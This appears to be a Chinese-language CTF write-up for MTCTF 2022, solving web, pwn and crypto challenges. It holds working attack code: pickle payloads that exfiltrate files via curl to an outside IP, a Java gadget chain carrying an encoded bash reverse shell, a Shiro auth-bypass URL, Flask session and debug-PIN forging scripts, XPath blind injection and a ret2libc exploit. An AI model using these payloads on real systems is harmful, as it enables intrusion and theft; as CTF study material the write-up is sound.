MTCTF Writeup By Light1ng
2022-09-17 23:16:00 # Java # CTF

MTCTF Writeup By Light1ng

Web

easypickle

下载附件,是一个flask框架,然后很明显的存在pickle反序列化,首先我们需要伪造session成为admin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
print(app.config['SECRET_KEY'])
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

这里的key是随机两字节的hex,很短,直接爆破了,这里贴一个网上公开的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoiZG1ubm4ifQ.YyVnKg.gh-CqX6tnM1otj37Zgs91tggvEU', key)
# print(res)
if 'user' in str(res):
print(key)
exit()

image-20220917155340052

爆破得到key为6284,现在就可以通过flask_session_cookie_manager来伪造session。

image-20220917155748993

目前就成功伪造了session。接下来看看后面的反序列化逻辑。

image-20220917155821455

从session中获取ser_data键的值,然后替换掉一些字符,然后过滤R i o b,就没法用pker来生成payload了,这里直接手搓opcode了,

1
b'''(cos\nsystem\nS'calc'\nos.'''

然后现在只需要把这个base64编码一下,然后作为ser_data的值,写入session即可。因为没有回显,尝试了反弹shell无果后,选择了curl外带数据,然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件的内容外带出来

1
2
b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt
b'''(cos\nsystem\nS'curl -T /3.txt http://101.43.66.67:12345'\nos.''' #外带/3.txt的内容到服务器上

image-20220917160536235

image-20220917160613341

发现flag就在当前目录,所以直接外带flag数据就行了。

payload:

1
2
a2 = b'''(cos\nsystem\nS'curl -T flag http://101.43.66.67:12345'\nos.'''
print(base64.b64encode(a2)) #KGNvcwpzeXN0ZW0KUydjdXJsIC1UIGZsYWcgaHR0cDovLzEwMS40My42Ni42NzoxMjM0NScKb3Mu

然后伪造session

image-20220917160836032

image-20220917161459387

1
flag{d58017f8-7e52-42e1-9306-dc3310813531}

OnlineUnzip

在打开源码阅读之后发现考点为pin码伪造但需要去上传含有软链接的文件,在搜索文章后发现做法

https://xz.aliyun.com/t/11647?page=1

https://xz.aliyun.com/t/8092#toc-3

https://xz.aliyun.com/t/2589

利用脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import hashlib
from itertools import chain
import argparse



def getMd5Pin(probably_public_bits, private_bits):
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

return rv

def getSha1Pin(probably_public_bits, private_bits):
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv

def macToInt(mac):
mac = mac.replace(":", "")
return str(int(mac, 16))

if __name__ == '__main__':
parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
args = parse.parse_args()

probably_public_bits = [
args.username,
args.modname,
args.appname,
args.path
]

private_bits = [
macToInt(args.MAC),
bytes(args.machineId, encoding = 'utf-8')
]
md5Pin = getMd5Pin(probably_public_bits, private_bits)
sha1Pin = getSha1Pin(probably_public_bits, private_bits)

print("Md5Pin: " + md5Pin)
print("Sha1Pin: " + sha1Pin)

已知pin码由username,modname,getattr(app, "__name__", app.__class__.__name__),getattr(mod, "__file__", None),str(uuid.getnode()), get_machine_id()这六个参数构成

读取网卡/sys/class/net/eth0/address

machine-id构造先读取/proc/self/cgroup,取第一行,利用正则value.strip().partition("/docker/")[2]分割拿到数据,结果为空,继续走,取/etc/machine-id,文件不存在,则去读/proc/sys/kernel/random/boot_id

image-20220917212224081.png

1
2
3
4
5
6
7
8
9
10
11
12
 /proc/self/cgroup 11:name=systemd:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
10:devices:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
9:blkio:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
8:net_cls,net_prio:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
7:perf_event:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
6:cpuset:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
5:memory:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
4:cpu,cpuacct:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
3:hugetlb:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
2:freezer:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
1:pids:/kubepods/podeci-2zegwb2qirhajqqy0l20/bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
0::/
1
2
3
4
5
/etc/machine-id
96cec10d3d9307792745ec3b85c89620

加上前面的bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87
所以机器码为: 96cec10d3d9307792745ec3b85c89620bc85db0c4c55f3bbdceccee42016a58f71449fe40d0439ba73387eff00987a87

获得app.py的路径,可以通过制造报错得到。制作一个/路径的软链接即可目录穿越查看到python路径并查看到了flag文件,点击查看即会报错,得到app.py的绝对路径。

image-20220917213704607.png

最后通过利用脚本做出pin码登录

image-20220917211916205.png

image-20220917211706132.png

babyjava

考点提示为xpath注入

在网上搜索了一个脚本和一些文章并对其进行修改

https://blog.csdn.net/weixin_30185907/article/details/113460995

https://www.likecs.com/show-203608955.html?sc=3869

https://www.codenong.com/cs106556717/

利用盲注脚本对根节点进行猜测

‘or substring(name(/*[1]), {}, 1)

然后猜测子节点

‘or substring(name(/root/*[1]), {}, 1)

最后对于user节点的下一节节点猜测

or substring(name(/root/user/*[position()=2]),{},1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import time
import requests
import string
import re


url = "http://eci-2ze0evt5ezb27535qg8y.cloudeci1.ichunqiu.com:8888/hello"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 猜测根节点名称
# payload_1 = "xpath=user1' and substring(name(/*),{},1)='{}' and ''='"
flag = ''
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
for i in range(1, 100):
for j in strs
payload3 = "xpath=user1' and substring(/root/user/*[position()=2], " + str(i) + ", 1)='" + chr(j) + "' and ''='"
result = requests.post(url, payload3, headers=headers)
if "This information" not in result.text:
flag = flag + chr(j)
print(flag)

image-20220917213530587.png

easyjava

打开附件看了一下依赖,有shiro、cb和cc库。

image-20220917215642881

打开环境用工具爆破了一下key,没爆破出来。然后看到了/admin/hello 路由,就明白这个题不是直接打shiro的反序列化了。

image-20220917220007740

这个路由自定义了一个反序列化,看起来绕过鉴权之后,就能直接打了。后面发现这里还存在有黑名单过滤类。但是有一点问题就是TemplatesImpl类,前面少了个小数点。然后就能直接用CB链打了。

image-20220917220215739

鉴权绕过的话,就直接用CVE-2020-11989

1
http://47.95.211.153:22983/;/web/admin/hello

然后直接用CB链生成一个反弹shell的恶意字节码的base64编码就行了

恶意字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package ShiroCB;

import java.lang.reflect.Method;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Hacker extends AbstractTranslet{
public Hacker() throws Exception {
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getruntime = runtime.getMethod("getRuntime");
Object r = getruntime.invoke(runtime);
exec.invoke(r,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}");
}

public static void main(String[] args) {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

CB链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CB1 {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\ShiroAttck\\target\\classes\\ShiroCB\\Hacker.class"));
byte[][] codes = {code};//恶意类
//CC3
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();


byte[] payload= barr.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(payload));


}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

把得到的base64编码,进行url编码一下,然后直接作为data数据发过去

image-20220917221040534

收到反弹的shell,find命令查找一下flag位置

image-20220917221141156

image-20220917221220978

1
flag{f0391e7d-ec7e-4a8e-8160-ddb1c257e380}

Pwn

note

checksec发现只开了nx,然后整个程序的逻辑是在栈上管理若干个堆块。

不难发现,在edit功能的函数内,下标指针v2是int类型的,这里检查越界只检查了是否大于0x10,

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall sub_4014B6(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch]
void *buf; // [rsp+18h] [rbp-8h]

printf("Index: ");
v2 = readint();
if ( v2 > 0x10 || !*(_QWORD *)(16LL * v2 + a1) )
return puts("Not allowed");
buf = *(void **)(16LL * v2 + a1);
printf("Content: ");
return read(0, buf, *(int *)(16LL * v2 + a1 + 8));
}

所以是存在问题的。

经过动态调试,发现v2为-1的时候,恰好可以劫持到sub_4014B6的rbp和ret地址,所以直接在这里ret2libc打两遍,第一遍leak libcbase,第二遍ret到system(“/bin/sh”)即可getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import LibcSearcher
context.log_level='debug'
context.arch='amd64'
# p = process('./note')
p = remote('39.106.133.19', 44964)
elf = ELF('./note')
libc = elf.libc

ru = lambda x : p.recvuntil(x)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def choice(idx):
sla('ve\n', str(idx))

def add(size, content=p64(0xdeadbeef)):
choice(1)
sla('ze: ', str(size))
sa('tent: ', content)

def show(idx):
choice(2)
sla('dex: ', str(idx))

def edit(idx, content):
choice(3)
sla('dex: ', str(idx))
sa('tent: ', content)

def delete(idx):
choice(4)
sla('dex: ', str(idx))

def g(arg=''):
gdb.attach(p, arg)
raw_input()


# for i in range(16):
# add(0x60)
add(0x60)
# pay = asm(shellcraft.sh())
# g('b *0x401500')

# g('b *0x401579')
# g('b *0x401500')
prt_got = elf.got['printf']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004017b3 # pop rdi ; ret
ret = 0x000000000040101a # ret
pay = p64(0)+p64(pop_rdi)+p64(prt_got)+p64(puts_plt)+p64(0x401679)
edit(-4, pay)

libcbase = u64(p.recv(6).ljust(0x8, b'\x00'))-0x61c90
print(hex(libcbase))

# g('b *0x401579')
one = [0xe3afe, 0xe3b01, 0xe3b04]
sys = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
pay = p64(0x404080)+p64(ret)+p64(pop_rdi)+p64(libcbase+binsh)+p64(sys+libcbase)+p64(0x401679)
# pay = p64(0x404080) + p64(one[1]+libcbase) + p64(0x401679)
edit(-4, pay)
# choice(5)
# pay = p64(0x401150)*2
# edit(-1, pay)
# g()

p.interactive()

Crypto

strange_rsa1

gift是p和q的比值,所以其实是可以直接求出来p和q的,但问题在于python自带函数的精度不够,这里用到了sage来设置好精度计算,

1
2
3
4
5
6
7
# https://sagecell.sagemath.org/
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
pp = numerical_approx((n*gift), prec=1020)
p = numerical_approx(sqrt(pp), prec=1020)
print(int(p))

然后在python中求出q和d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
import gmpy2
from math import *


def qpow(a, b, p):
res = 1
while(b):
if b%2==1:
res = (res*a)%p
a = (a*a)%p
b//=2
return res


n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
e = 65537
p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
q = n//p
print(int(p))
print(int(q))
phin = (p-1)*(q-1)
d = gmpy2.invert(e, phin)
print(d)
m = qpow(c, d, n)
print(long_to_bytes(m))